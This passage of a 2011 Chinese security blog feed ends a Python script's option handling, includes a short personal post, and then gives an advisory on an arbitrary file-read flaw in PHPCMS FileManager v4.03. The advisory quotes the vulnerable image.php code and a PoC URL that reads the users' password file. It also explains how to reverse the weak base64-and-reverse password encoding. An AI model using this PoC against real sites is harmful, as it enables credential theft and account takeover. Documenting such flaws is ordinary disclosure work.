    (options, args) = parser.parse_args()&#xD;
    &#xD;
    if len(args) == 0:&#xD;
        print help_message&#xD;
        sys.exit(2)&#xD;
&#xD;
    # Default values.&#xD;
    if options.exploitpath:&#xD;
        exploitpath = options.exploitpath&#xD;
    else:&#xD;
        exploitpath = ""&#xD;
    if options.casesensitive:&#xD;
        casesensitive = 1&#xD;
    else:&#xD;
        casesensitive = 0&#xD;
    if options.verbose:&#xD;
        verbose = 1&#xD;
    else:&#xD;
        verbose = 0&#xD;
    &#xD;
    main(casesensitive, verbose, exploitpath, args)[Doar userii inregistrati pot vedea linkurile. ]  &#xD;
&lt;/pre&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/xiaosan/aggbug/2198690.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/xiaosan/archive/2011/10/03/2198690.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/xiaosan/archive/2011/10/02/2197912.html</id><title type="text">发点牢骚。。。</title><summary type="text">再次更新了下博客... 调来调去, X疼死了. 各位感觉怎么样? 另外最近不知怎么了,不喜欢睡觉...难道失眠了? 好了不说了, 睡觉。。累。。。</summary><published>2011-10-02T01:27:00Z</published><updated>2011-10-02T01:27:00Z</updated><author><name>學習</name><uri>http://www.cnblogs.com/xiaosan/</uri></author><link rel="alternate" href="http://www.cnblogs.com/xiaosan/archive/2011/10/02/2197912.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/xiaosan/archive/2011/10/02/2197912.html"/><content type="html">&lt;p&gt;再次更新了下博客... 调来调去, X疼死了.&amp;nbsp; 各位感觉怎么样? 另外最近不知怎么了,&amp;nbsp;不喜欢睡觉...难道失眠了? &amp;nbsp;&amp;nbsp;好了不说了, 睡觉。。累。。。&lt;/p&gt;&lt;img src="http://www.cnblogs.com/xiaosan/aggbug/2197912.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/xiaosan/archive/2011/10/02/2197912.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry><entry><id>http://www.cnblogs.com/xiaosan/archive/2011/10/01/2196966.html</id><title type="text">PHPCMS FileManager v4.03 FileRead Vulnerability</title><summary type="text">##Author : HeXie S3curity TeAm#Date : 2011.10.01##FIle : /image.php&amp;lt;?php/**#########################################* PHPCMS File Manager* Copyright (c) 2004-2006 phpcms.cn* Author: Longbill ( http://www.longbill.cn )* longbill.cn@gmail.com*#########################################*/$path = $_GET</summary><published>2011-09-30T20:46:00Z</published><updated>2011-09-30T20:46:00Z</updated><author><name>學習</name><uri>http://www.cnblogs.com/xiaosan/</uri></author><link rel="alternate" href="http://www.cnblogs.com/xiaosan/archive/2011/10/01/2196966.html"/><link rel="alternate" type="text/html" href="http://www.cnblogs.com/xiaosan/archive/2011/10/01/2196966.html"/><content type="html">&lt;p&gt;&lt;/p&gt;&#xD;
&lt;div &gt;&#xD;
&lt;pre &gt;#&#xD;
#Author : HeXie S3curity TeAm&#xD;
#Date : 2011.10.01&#xD;
#&#xD;
&#xD;
#FIle : /image.php&#xD;
&amp;lt;?php&#xD;
/*&#xD;
*#########################################&#xD;
* PHPCMS File Manager&#xD;
* Copyright (c) 2004-2006 phpcms.cn&#xD;
* Author: Longbill ( http://www.longbill.cn )&#xD;
* longbill.cn@gmail.com&#xD;
*#########################################&#xD;
*/&#xD;
&#xD;
$path = $_GET["path"]; //读取路径信息&#xD;
$from = $_SERVER[HTTP_REFERER];&#xD;
$from = dirname($from).'/';&#xD;
if ($from != '/' ) $path = str_replace($from,"",$path);&#xD;
&#xD;
&#xD;
$max = $_GET["max"];&#xD;
include_once("func.php");&#xD;
$etag = "qqqq";&#xD;
if ($_SERVER['HTTP_IF_NONE_MATCH'] == $etag)&#xD;
{&#xD;
	header('Etag:'.$etag,true,304);&#xD;
	exit;&#xD;
}&#xD;
else header('Etag:'.$etag);&#xD;
header('Last-Modified:Tue,01 Aug 1999 10:26:24 GMT');&#xD;
&#xD;
if (!$path || !file_exists($path))  $path="images/notfound.gif"; //图片没有找到&#xD;
if (!$max) err();  //{通过Get方法传递的Max变量, 当$Max不成立时将调用err 函数.}&#xD;
&#xD;
&lt;/pre&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;p&gt;我们来看看err 函数是怎么写的.&lt;/p&gt;&#xD;
&lt;div &gt;&#xD;
&lt;pre &gt;FiLe : /image.php&#xD;
&#xD;
function err()&#xD;
{&#xD;
global $path;&#xD;
header("Content-Length: ".@filesize($path));&#xD;
readfile($path); //读取$path.&#xD;
die;&#xD;
} &#xD;
&lt;/pre&gt;&#xD;
&lt;/div&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;PoC:&lt;/p&gt;&#xD;
&lt;p&gt;http://Localhost/cms/image.php?path=class/users.php //读取密码文件, 前台登陆.&lt;/p&gt;&#xD;
&lt;p&gt;如果没有显示,请右键源码形式打开.&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&#xD;
&lt;p&gt;密码是经过加密的, 但不并不是单一的Md5 hash. 密码加密第一步是将原文经过base64编码后然后利用strrev 函数从字符串末尾向前重组.&lt;/p&gt;&#xD;
&lt;p&gt;得到md5 hash 后, 先逆着打出来, 比如 321, 就写成123. 然后根据base64 编码方式进行解密, 密码原文就出来了.&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;end.&amp;nbsp;&lt;/p&gt;&#xD;
&lt;p&gt;&lt;/p&gt;&lt;img src="http://www.cnblogs.com/xiaosan/aggbug/2196966.html?type=1" width="1" height="1" alt=""/&gt;&lt;p&gt;&lt;a href="http://www.cnblogs.com/xiaosan/archive/2011/10/01/2196966.html" target="_blank"&gt;本文链接&lt;/a&gt;&lt;/p&gt;</content></entry></feed>
